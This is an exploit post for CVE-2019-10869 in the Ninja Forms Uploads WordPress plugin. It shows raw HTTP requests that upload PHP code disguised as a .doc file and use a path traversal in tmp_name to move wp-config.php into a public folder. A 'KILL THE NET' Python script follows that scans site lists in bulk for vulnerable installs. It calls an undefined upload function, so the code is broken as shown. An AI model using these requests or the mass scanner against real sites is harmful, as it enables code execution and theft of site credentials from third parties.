####################################################################################
# Exploit Title: Path Traversal and Unrestricted File Upload in Ninja Forms Uploads
# Date: 12-05-2019
# Version: 3.0.22
# Tested on: MacOs / WordPress 5.1.1
# CVE : CVE-2019-10869
# KILL THE NET #
# Description:
Path Traversal and Unrestricted File Upload exists in the Ninja Forms plugin before 3.0.23 for WordPress (when the Uploads add-on is activated). This allows an attacker to traverse the file system to access files and execute code via the includes/fields/upload.php (aka upload/submit page) name and tmp_name parameters.
# POC:
Initial file upload Request:
++++++++++++++++++++++++++++++++++++++++++
POST /wp-admin/admin-ajax.php?action=nf_fu_upload HTTP/1.1
Host: testserver.com
Content-Type: multipart/form-data; boundary=---------------------------16345274557837
Content-Length: 522
-----------------------------16345274557837
Content-Disposition: form-data; name="form_id"
1
-----------------------------16345274557837
Content-Disposition: form-data; name="field_id"
5
-----------------------------16345274557837
Content-Disposition: form-data; name="nonce"
0f3a997174
-----------------------------16345274557837
Content-Disposition: form-data; name="files"; filename="test.png.doc"
Content-Type: application/msword
<?php phpinfo(); ?>
-----------------------------16345274557837--
++++++++++++++++++++++++++++++++++++++++++
Response:
++++++++++++++++++++++++++++++++++++++++++
HTTP/1.1 200 OK
Server: nginx/1.14.0
"data":{
"files":[
{
"name":"test.png.doc",
"type":"application\/msword",
"tmp_name":"nftmp-14FpD-test.png.doc",
"error":0,
"size":19
}
]
}
++++++++++++++++++++++++++++++++++++++++++
When the form is submitted the initially uploaded tmp file is moved to a new location:
++++++++++++++++++++++++++++++++++++++++++
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850
--snip--
"5":{
"value":1,
"id":5,
"files":[
{
"name":"test.(php)",
"tmp_name":"nftmp-BNxfG-test.png.doc",
"fieldID":5
}
]
--snip--
++++++++++++++++++++++++++++++++++++++++++
The parameter “name” is then “sanitized” by the WordPress function sanitize_file_name, which essentially only removes a set of predefined special characters:
++++++++++++++++++++++++++++++++++++++++++
ninja-forms-uploads/includes/fields/upload.php:124
$file_name = sanitize_file_name(basename($target_file));
sanitize_file_name
Removes special characters that are illegal in filenames
on certain operating systems and special characters
requiring special escaping to manipulate at the command line.
Replaces spaces and consecutive dashes with a single dash.
Trims period, dash and underscore from beginning and end of filename.
It is not guaranteed that this function will return a filename
that is allowed to be uploaded.
https://developer.wordpress.org/reference/functions/sanitize_file_name/
++++++++++++++++++++++++++++++++++++++++++
This results in moving the tmp file to its final location:
/wp-content/uploads/ninja-forms/1/test.php
If the upload folder has not been made non-executable explicitly, which is not the case by default.
Path Traversal in tmp_name:
when submitting the form it is also possible to traverse the filesystem through the tmp_name parameter as shown below. Keep in mind that tmp files are moved to their new location within the uploads folder!
++++++++++++++++++++++++++++++++++++++++++
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850
--snip--
"5":{
"value":1,
"id":5,
"files":[
{
"name":"test.doc",
"tmp_name":"../../../../wp-config.php",
"fieldID":5
}
]
--snip--
++++++++++++++++++++++++++++++++++++++++++
This results in moving the wp-config.php file to the following location:
/wp-content/uploads/ninja-forms/1/test.doc
# SIMPLE MASS SCRIPT TO CHECK VULN SITES:
# -*- coding: utf-8 -*
#!/usr/bin/python
#####################################
##KILL THE NET##
#### PS: CHANGE Your Threads pool on line 102 to make script more faster :)
##############[LIBS]###################
import requests, re, urllib2, os, sys, codecs, random
from multiprocessing.dummy import Pool
from time import time as timer
import time
from urlparse import urlparse
import warnings
import subprocess
from requests.packages.urllib3.exceptions import InsecureRequestWarning
warnings.simplefilter('ignore',InsecureRequestWarning)
reload(sys)
sys.setdefaultencoding('utf8')
##########################################################################################
ktnred = '\033[31m'
ktngreen = '\033[32m'
ktn3yell = '\033[33m'
ktn4blue = '\033[34m'
ktn5purp = '\033[35m'
ktn6blueblue = '\033[36m'
ktn7grey = '\033[37m'
CEND = '\033[0m'
#####################################
##########################################################################################
try:
with codecs.open(sys.argv[1], mode='r', encoding='ascii', errors='ignore') as f:
ooo = f.read().splitlines()
except IndexError:
print (ktnred + '[+]================> ' + 'USAGE: '+sys.argv[0]+' listsite.txt' + CEND)
pass
ooo = list((ooo))
##########################################################################################
def ninja_check(url):
try:
payload = url + '/wp-content/plugins/ninja-forms-uploads-develop/readme.txt'
Agent1 = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0'}
se1 = requests.session()
ktn2 = se1.get(payload, headers=Agent1, verify=False, timeout=10)
if '= 3.0.23' not in ktn2.content.encode('utf-8'):
print (ktn4blue + 'SITE VULN [' + url + ']' + CEND)
open('vuln.txt', 'a').write(url+'\n')
uploadrce(url)
pass
else:
print (ktn7grey + 'SITE NOT VULN ..... [' + url + ']' + CEND)
pass
except:
pass
pass
def check(url):
try:
Agent = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0'}
se = requests.session()
ktn1 = se.get(url, headers=Agent, verify=False, timeout=10)
if ktn1.status_code == 200:
print (ktngreen + 'SEARCHING FOR VULN ..... [' + url + ']' + CEND)
ninja_check(url)
pass
else:
print (ktnred + 'DEAD SITE: ' + url + CEND)
pass
except (requests.exceptions.ReadTimeout, requests.exceptions.ConnectTimeout) as a:
print (ktnred + 'TIME OUT: ' + url + CEND)
check(url)
pass
except requests.exceptions.ConnectionError as b:
print (ktnred + 'DEAD SITE2: ' + url + CEND)
pass
pass
#####################################
def logo():
clear = "\x1b[0m"
colors = [36, 32, 34, 35, 31, 37]
x = '''
FEDERATION BLACK HAT SYSTEM
KILL THE NET
FB: fb/KtN.1990
Note! : CVE-2019-10869 CHECKER '''
for N, line in enumerate(x.split("\n")):
sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear))
time.sleep(0.05)
pass
logo()
##########################################################################################
def Main():
try:
start = timer()
ThreadPool = Pool(100)
Threads = ThreadPool.map(check, ooo)
print('TIME TAKE: ' + str(timer() - start) + ' S')
except:
pass
if __name__ == '__main__':
Main()